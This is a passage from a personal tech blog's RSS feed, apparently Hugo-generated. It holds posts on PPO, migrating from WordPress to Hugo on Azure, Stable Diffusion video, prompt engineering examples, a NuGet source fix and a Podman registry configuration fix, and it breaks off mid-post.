		Reinforcement Learning - An Introduction
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A PPO is a policy gradient method that uses a trust region to update the policy parameters. OpenAI has a variant of PPO that adapts the penalty at each step to the current policy. This is called PPO2. You can read more about PPO2 &lt;a
	
		href = &#34;https://arxiv.org/abs/1707.06347&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;, go through the details presented at &lt;a
	
		href = &#34;https://learn.microsoft.com/en-us/events/neural-information-processing-systems-conference-nips-2016/deep-reinforcement-learning-through-policy-optimization&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		NIPS 16 - Deep Reinforcement Learning Through Policy Optimization
	&lt;/span&gt;
&lt;/a&gt;, and read &lt;a
	
		href = &#34;https://openai.com/blog/openai-baselines-ppo/#&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OpenAI&#39;s PPO baselines
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&amp;#x1f49a;&amp;#x1f49b;&amp;#x1f49c;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Moving from WordPress to Hugo</title>
      <link>/post/2022/11/moving-from-wp-to-hugo/</link>
      <pubDate>Sun, 20 Nov 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/11/moving-from-wp-to-hugo/</guid>
      <description>&lt;p&gt;I had been thinking for a while to move away from WordPress 
&lt;i class=&#34;fa-brands fa-wordpress&#34;&gt;&lt;/i&gt;
 for the blog to something simpler and cleaner. WordPress has been great for me when I first moved to it from another engine. However, over time, I found that things have gotten slower, as I added themes and add-ins. Some of these have been great, and others are not really needed.&lt;/p&gt;
&lt;p&gt;I also wanted to dogfood some of the things we built at work, though in my case that wasn&amp;rsquo;t the primary motive, just another nice to have. 😄&lt;/p&gt;
&lt;p&gt;So over the last few days, I took the plunge to work through moving this; most of it is working, and have had a &lt;a
	
		href = &#34;https://test.desigeek.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		test instance
	&lt;/span&gt;
&lt;/a&gt; running for some time to iron out things. I think other than an odd link or old image, most of it is working now. The fact you are reading this on the main &amp;lsquo;production&amp;rsquo; site shows that this has been promoted in the release pipeline. The only thing I still have left to do is get LaTeX working with markdown and a couple of other things. As a backup, I still have the &lt;a
	
		href = &#34;https://oldblog.desigeek.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		old blog
	&lt;/span&gt;
&lt;/a&gt; running, so if something goes wrong, I can always revert.&lt;/p&gt;
&lt;p&gt;I was already familiar with Hugo to some extent given I am running on one of my sites - &lt;a
	
		href = &#34;https://www.thebahrees.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		thebahrees.com
	&lt;/span&gt;
&lt;/a&gt; using that - also deployed on Azure and using Static Web Pages. The actual move wasn&amp;rsquo;t as complex as I had thought. I was a little worried given I have had this blog for a while with posts going back 18 years &amp;#x1f92f;.&lt;/p&gt;
&lt;p&gt;To start with, Hugo themselves &lt;a
	
		href = &#34;https://gohugo.io/tools/migrations/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		lists a few options
	&lt;/span&gt;
&lt;/a&gt; to help move from WordPress. I remember reading a couple of others who had already done this (see &lt;a
	
		href = &#34;https://whitematter.tech/posts/migrating-from-wordpress-to-hugo/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Robert&amp;rsquo;s post - whitematter.tech
	&lt;/span&gt;
&lt;/a&gt; and also my buddy Matthijs went through &lt;a
	
		href = &#34;https://matthijs.hoekstraonline.net/2020/05/06/migrating-my-blog-from-wordpress-to-hugo/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the same thing last year
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Most of the tools didn&amp;rsquo;t work for me, or not as well as I wanted them to. In the end, the &lt;a
	
		href = &#34;https://github.com/lonekorean/wordpress-export-to-markdown&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		wordpress-export-to-markdown
	&lt;/span&gt;
&lt;/a&gt; is the one that did work. One needs NodeJs to run this, and you export your WordPress site to an XML file and follow the instructions as prompted. I choose to create a year and month folder, and a folder for each post.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/wp-to-md-instructions.jpg&#34; alt=&#34;Screenshot running wordpress-export-to-markdown&#34;/&gt;
        &lt;figcaption&gt;Screenshot running wordpress-export-to-markdown&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The image below shows the first level of folders created for the posts. These are grouped by year and month.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/post-year-folder.jpg&#34; alt=&#34;Screenshot of folder structure&#34;/&gt;
        &lt;figcaption&gt;Screenshot of folder structure&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And within each month folder, there is a folder for each post. The folder name is the post title, and the markdown file is the same as the folder name.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/post-year-month.jpg&#34; alt=&#34;Screenshot of folder structure&#34;/&gt;
        &lt;figcaption&gt;Screenshot of folder structure&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I tried a few themes and settled on the &lt;a
	
		href = &#34;https://github.com/RobertDWhite/hugo-PaperMod-WhiteMatterMod&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		forked version
	&lt;/span&gt;
&lt;/a&gt; of PaperMod by Robert. I like the simple look and also made a few more tweaks to this.&lt;/p&gt;
&lt;p&gt;On Azure, I already have a few subscriptions, and getting Hugo deployed and hooked up to a GitHub repo was pretty easy. If you are new to this, just follow the docs on &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/static-web-apps/overview&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Static Web Apps
	&lt;/span&gt;
&lt;/a&gt;. The hugo-specific docs are &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/static-web-apps/deploy-hugo&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;. And don&amp;rsquo;t forget to also check out the details on how to &lt;a
	
		href = &#34;https://learn.microsoft.com/en-us/azure/static-web-apps/configuration&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		configure static web apps
	&lt;/span&gt;
&lt;/a&gt; to get the most out of it.&lt;/p&gt;
&lt;p&gt;The docs are pretty good, and I was able to get this up and running in under an hour. 👍&lt;/p&gt;
&lt;p&gt;Hugo docs also outline details on how to use &lt;a
	
		href = &#34;https://gohugo.io/hosting-and-deployment/hosting-on-azure/#azure-static-web-apps&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure Static Web Apps
	&lt;/span&gt;
&lt;/a&gt; to host your site.&lt;/p&gt;
&lt;p&gt;I am still working on a few things, but I am pretty happy with the move. I am sure I will find a few things that I need to tweak, but overall, I am happy with the move. &amp;#x1f49a;&lt;/p&gt;
&lt;p&gt;Feel free to let me know if you have any questions or comments. &amp;#x1f5b1;&amp;#xfe0f;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thank you</title>
      <link>/thankyou/</link>
      <pubDate>Tue, 15 Nov 2022 11:26:23 -0800</pubDate>
      
      <guid>/thankyou/</guid>
      <description>&lt;p&gt;Thank you; Amit will get the details, and depending on how he feels, he may or maynot get back to you! &amp;#x1f644;&lt;/p&gt;


    &lt;span&gt;&lt;i class=&#34;fa-solid fa-person-through-window&#34; style=&#34;font-size: 25px;&#34;&gt;&lt;/i&gt;&lt;/span&gt;
    &lt;!-- &lt;span&gt;&lt;i class=&#34;fa-solid fa-microchip&#34; style=&#34;font-size: 25px;&#34;&gt;&lt;/i&gt; --&gt;


</description>
    </item>
    
    <item>
      <title>Contact Me</title>
      <link>/contact/</link>
      <pubDate>Tue, 15 Nov 2022 00:00:00 +0000</pubDate>
      
      <guid>/contact/</guid>
      <description>&lt;p&gt;You can contact me here!&lt;/p&gt;



&lt;form method=&#34;post&#34; action=&#34;https://forms.un-static.com/forms/44c42c293b5f0d25dba4faeaf9d09c05dfaa2f23&#34;&gt;
  &lt;div class=&#34;form-group row&#34;&gt;
    &lt;i class=&#34;fa fa-user&#34;&gt;&lt;/i&gt;
    &lt;label for=&#34;name&#34; class=&#34;col-4 col-form-label&#34;&gt;Name:&lt;/label&gt;
    &lt;div class=&#34;col-8&#34;&gt;
      &lt;div class=&#34;input-group&#34;&gt;
        &lt;input id=&#34;name&#34; name=&#34;name&#34; placeholder=&#34;Please enter your name&#34; type=&#34;text&#34; required=&#34;required&#34; class=&#34;form-control&#34; style=&#34;border:3px&#34;&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&#34;form-group row&#34;&gt;
    &lt;label for=&#34;email&#34; class=&#34;col-4 col-form-label&#34;&gt;E-mail address&lt;/label&gt;
    &lt;div class=&#34;col-8&#34;&gt;
      &lt;div class=&#34;input-group&#34;&gt;
        &lt;i class=&#34;fa fa-envelope&#34;&gt;&lt;/i&gt;
        &lt;input id=&#34;email&#34; name=&#34;email&#34; placeholder=&#34;Your e-mail address&#34; type=&#34;text&#34; required=&#34;required&#34; class=&#34;form-control&#34; style=&#34;border:3px;&#34;&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&#34;form-group row&#34;&gt;
    &lt;label for=&#34;message&#34; class=&#34;col-4 col-form-label&#34;&gt;Message&lt;/label&gt;
    &lt;div class=&#34;col-8&#34;&gt;
      &lt;textarea id=&#34;message&#34; name=&#34;message&#34; cols=&#34;40&#34; rows=&#34;10&#34; required=&#34;required&#34; class=&#34;form-control&#34;&gt;&lt;/textarea&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&#34;form-group row&#34;&gt;
    &lt;div class=&#34;offset-4 col-8&#34;&gt;
      &lt;button name=&#34;submit&#34; type=&#34;submit&#34; class=&#34;btn btn-primary&#34;&gt;Submit&lt;/button&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/form&gt;

&lt;script&gt;
        var gfname = document.getElementById(&#34;name&#34;);
        var gfemail = document.getElementById(&#34;email&#34;);
        var gfmessage = document.getElementById(&#34;message&#34;);

        gfname.onchange = function (e) {
            if (gfname.value != &#39;&#39;) {
                e.target.style.borderBottom
                        = &#34;2px dotted grey&#34;;
            }
        };

        gfemail.onchange = function (e) {
            if (gfemail.value != &#39;&#39;) {
                e.target.style.borderBottom
                        = &#34;2px dotted grey&#34;;
            }
        };

        gfmessage.onchange = function (e) {
            if (gfmessage.value != &#39;&#39;) {
                e.target.style.borderBottom
                        = &#34;2px dotted red&#34;;
            }
        };
    &lt;/script&gt;


</description>
    </item>
    
    <item>
      <title>AI generated text-to-video</title>
      <link>/post/2022/10/ai-generated-text-to-video/</link>
      <pubDate>Tue, 11 Oct 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/10/ai-generated-text-to-video/</guid>
      <description>&lt;p&gt;Here is an example of how one can use a text prompt to generate a series of frames, that then are stitched together into a video.&lt;/p&gt;
&lt;p&gt;The prompt I used was: &amp;ldquo;a man walking in the parking lot with a miniature poodle&amp;rdquo;. the final video generated is shown below.&lt;/p&gt;
&lt;!-- &lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;video/2502672253_a-man-walking-in-the-parking-lot-with-a-miniature-poodle.webm&#34; type=&#34;video/webm&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;
 --&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://desigeek.com/blog_files/2022/10-ai-generated-text-to-video/2502672253_a-man-walking-in-the-parking-lot-with-a-miniature-poodle.webm&#34; type=&#34;video/webm&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

&lt;p&gt;AI-generated video from a text prompt of a man walking in a parking lot with a miniature poodle&lt;/p&gt;
&lt;p&gt;What is interesting is how it morphs from one to the next, and in some cases, the human starts out more looks like a poodle. It reminds me of the old days of morphing we did in C and C++ (Computer Science theory).&lt;/p&gt;
&lt;p&gt;For this, I am playing with the latest build of #StableDuffision and used a max of 100 frames, and for each frame 30 samplings and 200 inference steps.&lt;/p&gt;
&lt;p&gt;The video below shows how each of those frames is generated, and it is quite fascinating.&lt;/p&gt;
&lt;!-- &lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;video/A-video-showing-how-AI-is-generating-one-frame.mp4&#34; type=&#34;video/mp4&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;
 --&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://desigeek.com/blog_files/2022/10-ai-generated-text-to-video/A-video-showing-how-AI-is-generating-one-frame.webm&#34; type=&#34;video/webm&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

&lt;p&gt;A video showing how AI is generating one frame.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The rise of prompt engineering</title>
      <link>/post/2022/09/the-rise-of-prompt-engineering/</link>
      <pubDate>Sat, 17 Sep 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/09/the-rise-of-prompt-engineering/</guid>
      <description>&lt;p&gt;I have said this &lt;a
	
		href = &#34;https://www.desigeek.com/blog/amit/2021/10/09/ai-writing-ai-code%f0%9f%a4%90/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		before
	&lt;/span&gt;
&lt;/a&gt; - with the advent of large AI models, Prompt Engineering is critical and is the next challenge for us to master.&lt;/p&gt;
&lt;h3 id=&#34;what-is-prompt-engineering&#34;&gt;What is Prompt engineering?&lt;/h3&gt;
&lt;p&gt;Prompt engineering is the process of fine-tuning large models and often is written in natural language, outlining the intention of the user. Prompt engineering is a key element that allows the output to be accurate and reflect the needs of the user. Prompts should not be thought as the explicit one input to the model, instead are multiple tasks for the model.&lt;/p&gt;
&lt;p&gt;We use large language models (&lt;strong&gt;#LLM)&lt;/strong&gt; such as &lt;strong&gt;#GPT3&lt;/strong&gt;, &lt;strong&gt;or #Text2Image&lt;/strong&gt; models like &lt;strong&gt;#DALLE&lt;/strong&gt; and &lt;strong&gt;#StableFusion&lt;/strong&gt; using a text prompt. The prompt is a string and is our way to ask the model to do what it is meant to. It also is our way to provide hints and directions on what you need and ultimately help the model understand the patterns that are important for us and be represented in the output.&lt;/p&gt;
&lt;p&gt;The way we write a prompt is important - including the phrases, orders of the words, hints, etc. Prompts also need to be in the context of the use-case (see screenshot below on GPT3 use-case examples). For example, language generation prompts would be different from code generation or summarization, or image generation. The prompts are closely tied to the intended use cases.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hhfaXuTWu8-392x1024.png&#34; alt=&#34;Screenshot showing GPT3 example use cases.&#34;/&gt;
        &lt;figcaption&gt;GPT3 use case examples&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;examples-of-prompt-engineering&#34;&gt;Examples of prompt engineering&lt;/h3&gt;
&lt;p&gt;We start with a couple of examples related to language generation. I figured out what better way to show prompt engineering, by asking GPT3 about prompt engineering. 😇&lt;/p&gt;
&lt;p&gt;In this first screenshot below, we use GPT3&amp;rsquo;s Davinci model and ask for a &lt;em&gt;paragraph&lt;/em&gt; on prompt engineering. The first sentence is the prompt that was the input, and the text with the green background is what was generated.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/prompt-engineering-paragprah-1024x131.png&#34; alt=&#34;Screenshot of the generated output of a GPT3 model&#34;/&gt;
        &lt;figcaption&gt;GPT3 screenshot showing a paragraph prompt&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And in this second example, it is mostly the same prompt but we ask for a &lt;em&gt;blog post&lt;/em&gt; instead of a paragraph. As we can see the output of course is quite different, but the essence of it is still quite the same.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/prompt-engineering-blogpost.png&#34; alt=&#34;Screenshot of the generated output of a GPT3 model&#34;/&gt;
        &lt;figcaption&gt;GPT3 screenshot showing a blog post prompt&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And finally, another example, same as before, but in this case, we outline that be for a 5-year-old child (ignoring the fact would a 5-year-old understands the notion of AI, and models 😶).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/prompt-engineering-blogpost-kid.png&#34; alt=&#34;Screenshot of the generated output of a GPT3 model&#34;/&gt;
        &lt;figcaption&gt;GPT3 screenshot showing a paragraph prompt for a child to understand&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Even though the changes might seem subtle in the examples shown earlier - consider them as toy examples.&lt;/p&gt;
&lt;p&gt;Small changes to the prompt can lead to significant changes in the output. To show an example, below are two examples &lt;a
	
		href = &#34;https://stability.ai/blog/stable-diffusion-announcement&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		#StableDiffusion
	&lt;/span&gt;
&lt;/a&gt; - which is an open-source image-to-text model. I used Harry Potter for inspiration and use Hogwarts and the dark forest where the first graders were forbidden to go.&lt;/p&gt;
&lt;p&gt;For the first prompt example: &lt;em&gt;&lt;code&gt;a beautiful view of hogwarts school of witchcraft and wizardry and the dark forest, by Laurie Lipton, Impressionist Mosaic, Diya Lamp architecture, atmospheric, sense of awe and&lt;/code&gt;&lt;/em&gt; &lt;em&gt;&lt;code&gt;scale&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/grid-00040-3927828187_a_beautiful_view_of_hogwarts_school_of_witchcraft_and_wizardry_and_the_dark_forest_by_Laurie_Lipton_Impressionist_Mosaic_Diya-1024x683.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And for the second example, the prompts was: &lt;em&gt;&lt;code&gt;a beautiful view of hogwarts school of witchcraft and wizardry and the dark forest, by Laurie Lipton, Impressionist Mosaic, atmospheric, sense of awe and scale&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/grid-00047-1415313914_a_beautiful_view_of_hogwarts_school_of_witchcraft_and_wizardry_and_the_dark_forest_by_Laurie_Lipton_Impressionist_Mosaic_atmo.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The only difference between the two prompts was removing &amp;ldquo;&lt;em&gt;Diya Lamp architecture&lt;/em&gt;&amp;rdquo;, resulting in dramatically different outputs. I am guessing this being image generation, the changes are more dramatic and easier to comprehend.&lt;/p&gt;
&lt;p&gt;Prompts also are not universal and are very dependent to the models being used - what is considered a good example in one model (from one institution), won&amp;rsquo;t transpose to another model from another institution. For example, the same prompt as above (&lt;em&gt;&lt;code&gt;a beautiful view of hogwarts school of witchcraft and wizardry and the dark forest, by Laurie Lipton, Impressionist Mosaic, atmospheric, sense of awe and scale&lt;/code&gt;&lt;/em&gt;), when used for OpenAI&amp;rsquo;s DALLE model generates the image shown below - which is very different of course.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/dalle-hogwards-image-generation.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And if I want to tweak the same prompt specifically for DALLE here is another example using the prompt: &lt;em&gt;&lt;code&gt;Beautiful view of Hogwarts school of witchcraft and wizardry and the dark forest with a sense of awe and scale, Awesome, Highly Detailed&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/dalle-hogwards-image-generation-2-1024x265.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;As a side note, I particularly like this one:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/DALL%c2%b7E-2022-09-17-12.43.45-Beautiful-view-of-Hogwarts-school-of-witchcraft-and-wizardry-and-the-dark-forest-with-a-sense-of-awe-and-scale-Awesome-Highly-Detailed-300x300.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This also has created several tools that allow us to craft prompts. Given many of us don&amp;rsquo;t quite understand the options and styles that can go in there. Some like &lt;a
	
		href = &#34;https://promptomania.com/prompt-builder/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		promptoMANIA
	&lt;/span&gt;
&lt;/a&gt; can cover multiple large models (images in this case) and can get very sophisticated themselves. And other simpler ones like &lt;a
	
		href = &#34;https://www.adambrown.uk/dall-e-prompt-generator/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this DALLE prompt generator
	&lt;/span&gt;
&lt;/a&gt; by Adam Brown, and more like &lt;a
	
		href = &#34;https://github.com/sevazhidkov/prompts-ai&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		prompts.ai
	&lt;/span&gt;
&lt;/a&gt; allow for tweaking and fine-tuning of prompts and effectively creating templates for GPT3.&lt;/p&gt;
&lt;p&gt;Prompt engineering is a brand new and fascinating space for the industry and I for one am quite intrigued to see where it will lead us.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Nuget packages not found after installing Visual Studio 2022</title>
      <link>/post/2022/09/nuget-packages-not-found-after-installing-visual-studio-2022/</link>
      <pubDate>Sat, 03 Sep 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/09/nuget-packages-not-found-after-installing-visual-studio-2022/</guid>
      <description>&lt;p&gt;I recently needed to install Visual Studio 2022 on one my existing machines to debug a new zeroshot model that has a dependency on our Speech SDK. The &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/dotnet/api/microsoft.cognitiveservices.speech?view=azure-dotnet&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Speech SDK
	&lt;/span&gt;
&lt;/a&gt; is one of our key #AI services in Cognitive Services (as part of #AzureAI). I already had VSCode running, but in this case I need the bigger brother.&lt;/p&gt;
&lt;p&gt;After installing Visual Studio, I could not get any nuget packages to install; I could not even fetch anything and didn&amp;rsquo;t matter what I used - the package manager console in Visual Studio, PowerShell, etc.&lt;/p&gt;
&lt;p&gt;Nuget would only point to the local offline package store, which in my case is available at: &lt;code&gt;C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\&lt;/code&gt;. I kept getting the error: &lt;code&gt;Package X is not found on source &#39;C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I could not understand the behavior, and not seen this before. Turns out it is a known issue, albeit not very common. Seems like if either PowerShell&amp;rsquo;s &lt;code&gt;Install-Module&lt;/code&gt;, or Chocolatey&amp;rsquo;s &lt;code&gt;coco&lt;/code&gt; command was used &lt;strong&gt;before&lt;/strong&gt; using nuget or Visual Studio for the &lt;strong&gt;first time&lt;/strong&gt;, this will happen.&lt;/p&gt;
&lt;p&gt;The solution is to add nuget.org as a package source, and the URL it should point to is: &lt;code&gt;https://api.nuget.org/v3/index.json&lt;/code&gt;. Below is the screenshot on what this looks in Visual Studio for me:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image.png&#34; alt=&#34;Screenshot showing updated nutget package sources in Visual Studio 2022&#34;/&gt;
        &lt;figcaption&gt;Updated nuget package sources&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;If one is setting up a brand new dev box, the odds of you running into this is low; in my case given I was adding Visual Studio 2022 much later is what caused this. There is &lt;a
	
		href = &#34;https://github.com/NuGet/Home/wiki/nuget.org-not-used-on-new-machine&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more details on this here too
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Podman error on Ubuntu - short-name did not resolve to an alias and no unqualified-search registries</title>
      <link>/post/2022/03/podman-error-on-ubuntu-short-name-did-not-resolve-to-an-alias-and-no-unqualified-search-registries/</link>
      <pubDate>Fri, 25 Mar 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/03/podman-error-on-ubuntu-short-name-did-not-resolve-to-an-alias-and-no-unqualified-search-registries/</guid>
      <description>&lt;p&gt;I recently installed Ubuntu on one of the Pi&amp;rsquo;s are home and installed &lt;a
	
		href = &#34;https://podman.io/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Podman
	&lt;/span&gt;
&lt;/a&gt; - which I hadn&amp;rsquo;t heard of until recently and is a container engine, similar to docker but doesn&amp;rsquo;t have a daemon.&lt;/p&gt;
&lt;p&gt;When trying to get a basic alpine test image running I got this error:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Error: error creating build container: short-name &amp;quot;python:3.7-alpine&amp;quot; did not resolve to an alias and no unqualified-search registries are defined in &amp;quot;/etc/containers/registries.conf&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-1024x642.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Podam-compose error&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is because, shortnames it seems arent resolved by default - atleast not on the the Ubuntu (ARM) version. To fix this, the following needs to be added to the &lt;code&gt;/etc/containers/registries.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unqualified-search-registries&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=[&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;docker.io&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
